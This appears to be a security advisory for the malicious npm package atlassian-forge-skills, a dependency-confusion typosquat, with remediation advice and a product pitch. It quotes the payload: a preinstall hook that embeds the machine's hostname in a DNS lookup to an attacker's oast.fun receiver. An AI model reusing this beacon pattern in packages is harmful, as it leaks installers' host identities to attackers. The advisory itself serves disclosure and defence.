atlassian-forge-skillsnpm
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atlassian-forge-skills is a confirmed malicious npm package (MAL-2026-5891) that typosquats a legitimate package to trick installs (malicious version 29.1.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in atlassian-forge-skills (npm)
What this malware does
Package impersonates an internal Atlassian Forge dependency (unscoped name atlassian-forge-skills, description 'Internal package', generic author 'Team'). package.json declares "preinstall": "node index.js", which fires automatically on npm install. index.js lines 6-8 read os.hostname() and embed it as a subdomain of a hardcoded interactsh OAST receiver: const targetDomain = ${hostname}.zcagyqqmvnmgsklstrrr6xo2715tov7wz.oast.fun; dns.lookup(targetDomain, () => {});. The DNS lookup is sufficient to leak the installer's hostname to the attacker-controlled oast.fun DNS server — the canonical dependency-confusion payload, where any developer or CI pipeline that mistakenly resolves an internal Atlassian package name to this public registry entry exposes host identity for follow-on targeting.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for atlassian-forge-skills (version 29.1.0).
If you installed it — respond
atlassian-forge-skills is a typosquat — you almost certainly intended a legitimately-named package. Remove atlassian-forge-skills, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If atlassian-forge-skills was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
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Detect & block this
O3 blocks atlassian-forge-skills-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.